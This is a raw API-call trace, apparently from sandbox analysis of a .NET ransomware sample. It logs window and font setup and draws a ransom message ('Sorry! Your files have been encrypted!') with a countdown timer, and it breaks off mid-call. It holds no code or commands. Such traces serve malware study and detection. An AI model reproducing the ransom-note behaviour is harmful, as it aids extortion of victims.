AdjustWindowRectEx (in: lpRect=0x19e168, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e168) returned 1 [0143.738] CoTaskMemAlloc (cb=0xe) returned 0xef7f18 [0143.739] CoTaskMemAlloc (cb=0xe) returned 0xef8050 [0144.254] CoTaskMemAlloc (cb=0xe) returned 0xef7ea0 [0144.255] CoTaskMemAlloc (cb=0x17) returned 0xee3188 [0144.258] CoTaskMemAlloc (cb=0x12) returned 0xee3308 [0144.490] CoTaskMemAlloc (cb=0xe) returned 0xef7ee8 [0144.492] CoTaskMemAlloc (cb=0x12) returned 0xee3368 [0144.494] CoTaskMemAlloc (cb=0x12) returned 0xf0d150 [0144.496] CoTaskMemAlloc (cb=0x12) returned 0xf0cef0 [0144.497] CoTaskMemAlloc (cb=0xf) returned 0xef7f78 [0144.646] CoTaskMemAlloc (cb=0x12) returned 0xf0d170 [0144.648] CoTaskMemAlloc (cb=0x12) returned 0xf0d1f0 [0144.650] AdjustWindowRectEx (in: lpRect=0x19e0f4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e0f4) returned 1 [0144.650] CoTaskMemAlloc (cb=0x12) returned 0xf0cf30 [0144.652] CoTaskMemAlloc (cb=0x12) returned 0xf0cf70 [0144.656] AdjustWindowRectEx (in: lpRect=0x19dfa8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19dfa8) returned 1 [0144.657] GdipGetFamilyName (in: family=0x57f8ad8, name=0x19df70, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0144.657] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0144.657] CoTaskMemAlloc (cb=0x5c) returned 0xeeaf50 [0144.657] CreateFontIndirectW (lplf=0xeeaf50) returned 0x580a070b [0144.657] CoTaskMemFree (pv=0xeeaf50) [0144.657] GetObjectW (in: h=0x580a070b, c=92, pv=0x19df34 | out: pv=0x19df34) returned 92 [0144.870] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2f8b314 | out: psizl=0x2f8b314) returned 1 [0144.871] GetCurrentProcess () returned 0xffffffff [0144.872] GetCurrentProcess () returned 0xffffffff [0144.874] DeleteObject (ho=0x580a070b) returned 1 [0144.874] AdjustWindowRectEx (in: lpRect=0x19e080, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e080) returned 1 [0144.875] GdipCreateFontFamilyFromName (name="Arial Black", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0144.875] GdipCreateFont (fontFamily=0x57f2240, emSize=0x41900000, style=1, unit=0x3, font=0x2f8b3ec) returned 0x0 [0145.500] GdipGetFontSize (font=0x57f1f08, size=0x2f8b3f0) returned 0x0 [0145.501] CoTaskMemAlloc (cb=0x12) returned 0xf0d010 [0145.527] AdjustWindowRectEx (in: lpRect=0x19df60, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df60) returned 1 [0145.527] GdipGetFamilyName (in: family=0x57f2240, name=0x19df28, language=0x409 | out: name="Arial Black") returned 0x0 [0145.527] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0145.528] CoTaskMemAlloc (cb=0x5c) returned 0xeeb1c0 [0145.528] CreateFontIndirectW (lplf=0xeeb1c0) returned 0x310a071a [0145.528] CoTaskMemFree (pv=0xeeb1c0) [0145.528] GetObjectW (in: h=0x310a071a, c=92, pv=0x19deec | out: pv=0x19deec) returned 92 [0145.528] SelectObject (hdc=0x8e0106dd, h=0x310a071a) returned 0x340a0713 [0145.528] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2f8b6d4 | out: psizl=0x2f8b6d4) returned 1 [0145.738] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0145.739] AdjustWindowRectEx (in: lpRect=0x19e038, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e038) returned 1 [0145.739] CoTaskMemAlloc (cb=0x12) returned 0xf0d130 [0145.742] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0145.742] GdipGetFamilyName (in: family=0x57f2240, name=0x19df58, language=0x409 | out: name="Arial Black") returned 0x0 [0145.742] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0145.742] CoTaskMemAlloc (cb=0x5c) returned 0xeeac78 [0145.742] CreateFontIndirectW (lplf=0xeeac78) returned 0x210a0712 [0145.742] CoTaskMemFree (pv=0xeeac78) [0145.742] GetObjectW (in: h=0x210a0712, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0145.742] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2f8b8e8 | out: psizl=0x2f8b8e8) returned 1 [0145.742] DeleteObject (ho=0x210a0712) returned 1 [0145.743] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0145.743] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e0c8) returned 1 [0145.744] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0145.744] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0145.744] GdipGetFamilyName (in: family=0x57f2240, name=0x19df58, language=0x409 | out: name="Arial Black") returned 0x0 [0145.744] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0145.744] CoTaskMemAlloc (cb=0x5c) returned 0xeeac10 [0145.744] CreateFontIndirectW (lplf=0xeeac10) returned 0x220a0712 [0145.744] CoTaskMemFree (pv=0xeeac10) [0145.744] GetObjectW (in: h=0x220a0712, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0145.744] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2f8bb1c | out: psizl=0x2f8bb1c) returned 1 [0145.744] DeleteObject (ho=0x220a0712) returned 1 [0145.745] CoTaskMemAlloc (cb=0x12) returned 0xf0d050 [0145.747] AdjustWindowRectEx (in: lpRect=0x19df70, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df70) returned 1 [0145.747] GdipGetFamilyName (in: family=0x57f2240, name=0x19de5c, language=0x409 | out: name="Arial Black") returned 0x0 [0145.747] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0145.747] CoTaskMemAlloc (cb=0x5c) returned 0xeeadb0 [0145.748] CreateFontIndirectW (lplf=0xeeadb0) returned 0x230a0712 [0145.748] CoTaskMemFree (pv=0xeeadb0) [0145.748] GetObjectW (in: h=0x230a0712, c=92, pv=0x19de20 | out: pv=0x19de20) returned 92 [0145.748] GetMapMode (hdc=0x8e0106dd) returned 1 [0145.748] GetTextMetricsW (in: hdc=0x8e0106dd, lptm=0x19de50 | out: lptm=0x19de50) returned 1 [0145.748] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Sorry! Your files have been encrypted!", cchText=38, lprc=0x19df5c, format=0x2400, lpdtp=0x2f8bdd8 | out: lpchText="Sorry! Your files have been encrypted!", lprc=0x19df5c) returned 33 [0145.919] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0145.919] AdjustWindowRectEx (in: lpRect=0x19e048, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e048) returned 1 [0145.920] CoTaskMemAlloc (cb=0xb) returned 0xef8158 [0145.923] GetUserObjectInformationA (in: hObj=0x130, nIndex=1, pvInfo=0x2f8c460, nLength=0xc, lpnLengthNeeded=0x19e090 | out: pvInfo=0x2f8c460, lpnLengthNeeded=0x19e090) returned 1 [0145.925] SetConsoleCtrlHandler (HandlerRoutine=0x5444ade, Add=1) returned 1 [0145.926] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0145.927] GetClassInfoW (in: hInstance=0x400000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWndClass=0x2f8c4c4 | out: lpWndClass=0x2f8c4c4) returned 0 [0145.928] CoTaskMemAlloc (cb=0x58) returned 0xee8280 [0145.928] RegisterClassW (lpWndClass=0x19dfe0) returned 0xc170 [0145.929] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x70030 [0145.933] NtdllDefWindowProc_W (hWnd=0x70030, Msg=0x83, wParam=0x0, lParam=0x19db0c) returned 0x0 [0145.934] NtdllDefWindowProc_W (hWnd=0x70030, Msg=0x1, wParam=0x0, lParam=0x19db20) returned 0x0 [0145.934] NtdllDefWindowProc_W (hWnd=0x70030, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0145.934] NtdllDefWindowProc_W (hWnd=0x70030, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0145.937] GetSysColor (nIndex=10) returned 0xb4b4b4 [0145.937] GetSysColor (nIndex=2) returned 0xd1b499 [0145.937] GetSysColor (nIndex=9) returned 0x0 [0145.937] GetSysColor (nIndex=12) returned 0xababab [0145.937] GetSysColor (nIndex=15) returned 0xf0f0f0 [0145.937] GetSysColor (nIndex=20) returned 0xffffff [0145.937] GetSysColor (nIndex=16) returned 0xa0a0a0 [0145.937] GetSysColor (nIndex=15) returned 0xf0f0f0 [0145.937] GetSysColor (nIndex=16) returned 0xa0a0a0 [0145.937] GetSysColor (nIndex=21) returned 0x696969 [0145.937] GetSysColor (nIndex=22) returned 0xe3e3e3 [0145.937] GetSysColor (nIndex=20) returned 0xffffff [0145.937] GetSysColor (nIndex=18) returned 0x0 [0145.937] GetSysColor (nIndex=1) returned 0x0 [0145.937] GetSysColor (nIndex=27) returned 0xead1b9 [0145.937] GetSysColor (nIndex=28) returned 0xf2e4d7 [0145.937] GetSysColor (nIndex=17) returned 0x6d6d6d [0145.937] GetSysColor (nIndex=13) returned 0xd77800 [0145.937] GetSysColor (nIndex=14) returned 0xffffff [0145.937] GetSysColor (nIndex=26) returned 0xcc6600 [0145.937] GetSysColor (nIndex=11) returned 0xfcf7f4 [0145.938] GetSysColor (nIndex=3) returned 0xdbcdbf [0145.938] GetSysColor (nIndex=19) returned 0x0 [0145.938] GetSysColor (nIndex=24) returned 0xe1ffff [0145.938] GetSysColor (nIndex=23) returned 0x0 [0145.938] GetSysColor (nIndex=4) returned 0xf0f0f0 [0145.938] GetSysColor (nIndex=30) returned 0xf0f0f0 [0145.938] GetSysColor (nIndex=29) returned 0xd77800 [0145.938] GetSysColor (nIndex=7) returned 0x0 [0145.938] GetSysColor (nIndex=0) returned 0xc8c8c8 [0145.938] GetSysColor (nIndex=5) returned 0xffffff [0145.938] GetSysColor (nIndex=6) returned 0x646464 [0145.938] GetSysColor (nIndex=8) returned 0x0 [0145.938] CoTaskMemAlloc (cb=0x12) returned 0xf0d2b0 [0145.941] CoTaskMemAlloc (cb=0xe) returned 0xef7e70 [0146.246] CoTaskMemAlloc (cb=0x12) returned 0xf0d1d0 [0146.385] SelectObject (hdc=0x8e0106dd, h=0x340a0713) returned 0x310a071a [0146.385] DeleteObject (ho=0x310a071a) returned 1 [0146.385] DrawTextExW (in: hdc=0x8e0106dd, lpchText="j^", cchText=2, lprc=0x19dfb8, format=0x420, lpdtp=0x2f8ca00 | out: lpchText="j^", lprc=0x19dfb8) returned 13 [0146.385] GdipGetFamilyName (in: family=0x57f8ad8, name=0x19deec, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0146.385] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0146.385] CoTaskMemAlloc (cb=0x5c) returned 0xeeaba8 [0146.386] CreateFontIndirectW (lplf=0xeeaba8) returned 0x320a071a [0146.386] CoTaskMemFree (pv=0xeeaba8) [0146.386] GetObjectW (in: h=0x320a071a, c=92, pv=0x19deb0 | out: pv=0x19deb0) returned 92 [0146.386] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2f8cbdc | out: psizl=0x2f8cbdc) returned 1 [0146.386] DeleteObject (ho=0x320a071a) returned 1 [0146.386] GetSystemMetrics (nIndex=45) returned 2 [0146.386] GetSystemMetrics (nIndex=46) returned 2 [0146.386] GetSystemMetrics (nIndex=7) returned 3 [0146.386] GetSystemMetrics (nIndex=8) returned 3 [0146.386] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0146.387] AdjustWindowRectEx (in: lpRect=0x19e0d8, dwStyle=0x56210242, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e0d8) returned 1 [0146.387] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0146.387] AdjustWindowRectEx (in: lpRect=0x19e0d8, dwStyle=0x56210242, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e0d8) returned 1 [0146.444] CoCreateGuid (in: pguid=0x19d85c | out: pguid=0x19d85c*(Data1=0x2c88e2a2, Data2=0xeefa, Data3=0x4219, Data4=([0]=0xaa, [1]=0x78, [2]=0xfc, [3]=0x49, [4]=0xf1, [5]=0x15, [6]=0x75, [7]=0x94))) returned 0x0 [0146.444] CoCreateGuid (in: pguid=0x19d85c | out: pguid=0x19d85c*(Data1=0x732b1723, Data2=0xa93e, Data3=0x4bc3, Data4=([0]=0x8b, [1]=0xb1, [2]=0x63, [3]=0x85, [4]=0xdf, [5]=0xfd, [6]=0x72, [7]=0x3a))) returned 0x0 [0146.444] CoCreateGuid (in: pguid=0x19d85c | out: pguid=0x19d85c*(Data1=0xb181c5af, Data2=0xf4b2, Data3=0x4345, Data4=([0]=0x9e, [1]=0xcd, [2]=0x69, [3]=0xfa, [4]=0x71, [5]=0x27, [6]=0x18, [7]=0xe4))) returned 0x0 [0146.444] CoCreateGuid (in: pguid=0x19d85c | out: pguid=0x19d85c*(Data1=0x907b38f0, Data2=0xb05c, Data3=0x4f5b, Data4=([0]=0x9b, [1]=0x27, [2]=0x92, [3]=0x23, [4]=0xb7, [5]=0x97, [6]=0x4e, [7]=0xf0))) returned 0x0 [0146.444] CoCreateGuid (in: pguid=0x19d85c | out: pguid=0x19d85c*(Data1=0x692585d, Data2=0x76aa, Data3=0x42e4, Data4=([0]=0xaa, [1]=0x8, [2]=0x64, [3]=0x10, [4]=0x96, [5]=0x8b, [6]=0xb6, [7]=0x92))) returned 0x0 [0146.444] CoCreateGuid (in: pguid=0x19d85c | out: pguid=0x19d85c*(Data1=0x2bca6a69, Data2=0x45a0, Data3=0x4f58, Data4=([0]=0xbe, [1]=0x58, [2]=0xd2, [3]=0x4d, [4]=0x8d, [5]=0x82, [6]=0xf3, [7]=0x8a))) returned 0x0 [0146.444] CoCreateGuid (in: pguid=0x19d85c | out: pguid=0x19d85c*(Data1=0xddc2ea32, Data2=0xcfe6, Data3=0x483d, Data4=([0]=0xac, [1]=0x5, [2]=0xce, [3]=0xa6, [4]=0x3c, [5]=0xec, [6]=0xd, [7]=0xcf))) returned 0x0 [0146.444] CoCreateGuid (in: pguid=0x19d85c | out: pguid=0x19d85c*(Data1=0xb0516bde, Data2=0xf0b4, Data3=0x4c32, Data4=([0]=0xbc, [1]=0x14, [2]=0x3f, [3]=0xb2, [4]=0x1f, [5]=0x4b, [6]=0xcf, [7]=0x58))) returned 0x0 [0146.444] CoCreateGuid (in: pguid=0x19d85c | out: pguid=0x19d85c*(Data1=0x2ad4d9d5, Data2=0xcd1f, Data3=0x4027, Data4=([0]=0x9e, [1]=0xc3, [2]=0xd5, [3]=0xde, [4]=0x2f, [5]=0x49, [6]=0x9c, [7]=0xe6))) returned 0x0 [0146.444] CoCreateGuid (in: pguid=0x19d85c | out: pguid=0x19d85c*(Data1=0xa167df13, Data2=0xcb58, Data3=0x4975, Data4=([0]=0x88, [1]=0xbc, [2]=0xcb, [3]=0x4d, [4]=0xc5, [5]=0x4b, [6]=0xd6, [7]=0xb))) returned 0x0 [0146.444] CoCreateGuid (in: pguid=0x19d85c | out: pguid=0x19d85c*(Data1=0x16edcb89, Data2=0x318, Data3=0x40c4, Data4=([0]=0x9a, [1]=0x5a, [2]=0x79, [3]=0x87, [4]=0xf7, [5]=0x40, [6]=0x65, [7]=0xf4))) returned 0x0 [0146.444] CoCreateGuid (in: pguid=0x19d85c | out: pguid=0x19d85c*(Data1=0xaab808be, Data2=0x2ede, Data3=0x4066, Data4=([0]=0xbc, [1]=0x3c, [2]=0xb8, [3]=0x96, [4]=0xaa, [5]=0xe8, [6]=0x3f, [7]=0xf8))) returned 0x0 [0146.445] CoCreateGuid (in: pguid=0x19d990 | out: pguid=0x19d990*(Data1=0x8f591b21, Data2=0xf3fa, Data3=0x4be8, Data4=([0]=0xab, [1]=0xe7, [2]=0x4a, [3]=0x9d, [4]=0x13, [5]=0x58, [6]=0x1f, [7]=0x32))) returned 0x0 [0146.445] CoCreateGuid (in: pguid=0x19d990 | out: pguid=0x19d990*(Data1=0x9ee17c75, Data2=0x87a0, Data3=0x40fa, Data4=([0]=0x97, [1]=0x38, [2]=0x79, [3]=0xe0, [4]=0xfb, [5]=0x61, [6]=0x4, [7]=0x62))) returned 0x0 [0146.445] CoCreateGuid (in: pguid=0x19d990 | out: pguid=0x19d990*(Data1=0x8bd7fa0, Data2=0x938d, Data3=0x462b, Data4=([0]=0xb8, [1]=0xfe, [2]=0x1c, [3]=0xf6, [4]=0x68, [5]=0x26, [6]=0x7e, [7]=0x16))) returned 0x0 [0146.451] CoTaskMemAlloc (cb=0x12) returned 0xf0d210 [0146.453] AdjustWindowRectEx (in: lpRect=0x19dfa8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19dfa8) returned 1 [0146.453] GdipGetFamilyName (in: family=0x57f8ad8, name=0x19df70, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0146.453] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0146.453] CoTaskMemAlloc (cb=0x5c) returned 0xeeae80 [0146.453] CreateFontIndirectW (lplf=0xeeae80) returned 0x330a071a [0146.453] CoTaskMemFree (pv=0xeeae80) [0146.453] GetObjectW (in: h=0x330a071a, c=92, pv=0x19df34 | out: pv=0x19df34) returned 92 [0146.453] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2f90f00 | out: psizl=0x2f90f00) returned 1 [0146.453] DeleteObject (ho=0x330a071a) returned 1 [0146.454] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0146.454] AdjustWindowRectEx (in: lpRect=0x19e080, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e080) returned 1 [0146.454] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0146.454] GdipCreateFont (fontFamily=0x57faee0, emSize=0x41de0000, style=1, unit=0x3, font=0x2f91050) returned 0x0 [0147.634] GdipGetFontSize (font=0x690adc8, size=0x2f91054) returned 0x0 [0147.634] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0147.634] AdjustWindowRectEx (in: lpRect=0x19df60, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df60) returned 1 [0147.634] GdipGetFamilyName (in: family=0x57faee0, name=0x19df28, language=0x409 | out: name="Palatino Linotype") returned 0x0 [0147.634] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0147.634] CoTaskMemAlloc (cb=0x5c) returned 0xeeb0f0 [0147.634] CreateFontIndirectW (lplf=0xeeb0f0) returned 0x340a071a [0147.635] CoTaskMemFree (pv=0xeeb0f0) [0147.635] GetObjectW (in: h=0x340a071a, c=92, pv=0x19deec | out: pv=0x19deec) returned 92 [0147.635] SelectObject (hdc=0x8e0106dd, h=0x340a071a) returned 0x340a0713 [0147.635] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2f91304 | out: psizl=0x2f91304) returned 1 [0147.637] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0147.637] AdjustWindowRectEx (in: lpRect=0x19e038, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e038) returned 1 [0147.637] CoTaskMemAlloc (cb=0xb) returned 0xef8020 [0147.639] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0147.639] GdipGetFamilyName (in: family=0x57faee0, name=0x19df58, language=0x409 | out: name="Palatino Linotype") returned 0x0 [0147.639] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0147.640] CoTaskMemAlloc (cb=0x5c) returned 0xeeae18 [0147.640] CreateFontIndirectW (lplf=0xeeae18) returned 0x4d0a0711 [0147.640] CoTaskMemFree (pv=0xeeae18) [0147.640] GetObjectW (in: h=0x4d0a0711, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0147.640] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2f9153c | out: psizl=0x2f9153c) returned 1 [0147.640] DeleteObject (ho=0x4d0a0711) returned 1 [0147.640] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0147.640] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e0c8) returned 1 [0147.640] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0147.641] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0147.641] GdipGetFamilyName (in: family=0x57faee0, name=0x19df58, language=0x409 | out: name="Palatino Linotype") returned 0x0 [0147.641] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0147.641] CoTaskMemAlloc (cb=0x5c) returned 0xeeb0f0 [0147.641] CreateFontIndirectW (lplf=0xeeb0f0) returned 0x4e0a0711 [0147.641] CoTaskMemFree (pv=0xeeb0f0) [0147.641] GetObjectW (in: h=0x4e0a0711, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0147.641] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2f9179c | out: psizl=0x2f9179c) returned 1 [0147.641] DeleteObject (ho=0x4e0a0711) returned 1 [0147.641] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0147.641] AdjustWindowRectEx (in: lpRect=0x19df70, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df70) returned 1 [0147.641] GdipGetFamilyName (in: family=0x57faee0, name=0x19de5c, language=0x409 | out: name="Palatino Linotype") returned 0x0 [0147.641] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0147.641] CoTaskMemAlloc (cb=0x5c) returned 0xeeb088 [0147.642] CreateFontIndirectW (lplf=0xeeb088) returned 0x4f0a0711 [0147.642] CoTaskMemFree (pv=0xeeb088) [0147.642] GetObjectW (in: h=0x4f0a0711, c=92, pv=0x19de20 | out: pv=0x19de20) returned 92 [0147.642] GetMapMode (hdc=0x8e0106dd) returned 1 [0147.642] GetTextMetricsW (in: hdc=0x8e0106dd, lptm=0x19de50 | out: lptm=0x19de50) returned 1 [0147.642] DrawTextExW (in: hdc=0x8e0106dd, lpchText="00:00:00", cchText=8, lprc=0x19df5c, format=0x2400, lpdtp=0x2f919d8 | out: lpchText="00:00:00", lprc=0x19df5c) returned 50 [0147.818] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0147.819] AdjustWindowRectEx (in: lpRect=0x19e048, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e048) returned 1 [0147.819] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0147.819] AdjustWindowRectEx (in: lpRect=0x19dfa8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19dfa8) returned 1 [0147.819] GdipGetFamilyName (in: family=0x57f8ad8, name=0x19df70, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0147.819] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0147.819] CoTaskMemAlloc (cb=0x5c) returned 0xeeb0f0 [0147.819] CreateFontIndirectW (lplf=0xeeb0f0) returned 0x2e0a070f [0147.819] CoTaskMemFree (pv=0xeeb0f0) [0147.819] GetObjectW (in: h=0x2e0a070f, c=92, pv=0x19df34 | out: pv=0x19df34) returned 92 [0147.819] SelectObject (hdc=0x8e0106dd, h=0x2e0a070f) returned 0x340a071a [0147.819] DeleteObject (ho=0x340a071a) returned 1 [0147.820] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2f91c68 | out: psizl=0x2f91c68) returned 1 [0147.821] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0147.821] AdjustWindowRectEx (in: lpRect=0x19e080, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e080) returned 1 [0147.821] GdipCreateFontFamilyFromName (name="Arial Black", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0147.821] GdipCreateFont (fontFamily=0x57f2240, emSize=0x41900000, style=1, unit=0x3, font=0x2f91d1c) returned 0x0 [0147.821] GdipGetFontSize (font=0x690f458, size=0x2f91d20) returned 0x0 [0147.821] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0147.821] AdjustWindowRectEx (in: lpRect=0x19df60, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df60) returned 1 [0147.821] GdipGetFamilyName (in: family=0x57f2240, name=0x19df28, language=0x409 | out: name="Arial Black") returned 0x0 [0147.821] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0147.822] CoTaskMemAlloc (cb=0x5c) returned 0xeeb0f0 [0147.822] CreateFontIndirectW (lplf=0xeeb0f0) returned 0x350a071a [0147.822] CoTaskMemFree (pv=0xeeb0f0) [0147.822] GetObjectW (in: h=0x350a071a, c=92, pv=0x19deec | out: pv=0x19deec) returned 92 [0147.822] SelectObject (hdc=0x8e0106dd, h=0x350a071a) returned 0x2e0a070f [0147.822] DeleteObject (ho=0x2e0a070f) returned 1 [0147.822] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2f91ff4 | out: psizl=0x2f91ff4) returned 1 [0147.823] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0147.824] AdjustWindowRectEx (in: lpRect=0x19e038, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e038) returned 1 [0147.824] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0147.824] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0147.824] GdipGetFamilyName (in: family=0x57f2240, name=0x19df58, language=0x409 | out: name="Arial Black") returned 0x0 [0147.824] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0147.824] CoTaskMemAlloc (cb=0x5c) returned 0xeeafb8 [0147.824] CreateFontIndirectW (lplf=0xeeafb8) returned 0x2f0a070f [0147.824] CoTaskMemFree (pv=0xeeafb8) [0147.824] GetObjectW (in: h=0x2f0a070f, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0147.824] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2f92210 | out: psizl=0x2f92210) returned 1 [0147.824] DeleteObject (ho=0x2f0a070f) returned 1 [0147.825] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0147.825] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e0c8) returned 1 [0147.825] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0147.825] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0147.825] GdipGetFamilyName (in: family=0x57f2240, name=0x19df58, language=0x409 | out: name="Arial Black") returned 0x0 [0147.825] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0147.825] CoTaskMemAlloc (cb=0x5c) returned 0xeeaf50 [0147.825] CreateFontIndirectW (lplf=0xeeaf50) returned 0x300a070f [0147.825] CoTaskMemFree (pv=0xeeaf50) [0147.825] GetObjectW (in: h=0x300a070f, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0147.825] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2f92458 | out: psizl=0x2f92458) returned 1 [0147.825] DeleteObject (ho=0x300a070f) returned 1 [0147.826] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0147.826] AdjustWindowRectEx (in: lpRect=0x19df70, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df70) returned 1 [0147.826] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Name", cchText=4, lprc=0x19df5c, format=0x2400, lpdtp=0x2f924fc | out: lpchText="Name", lprc=0x19df5c) returned 33 [0147.826] GetModuleHandleW 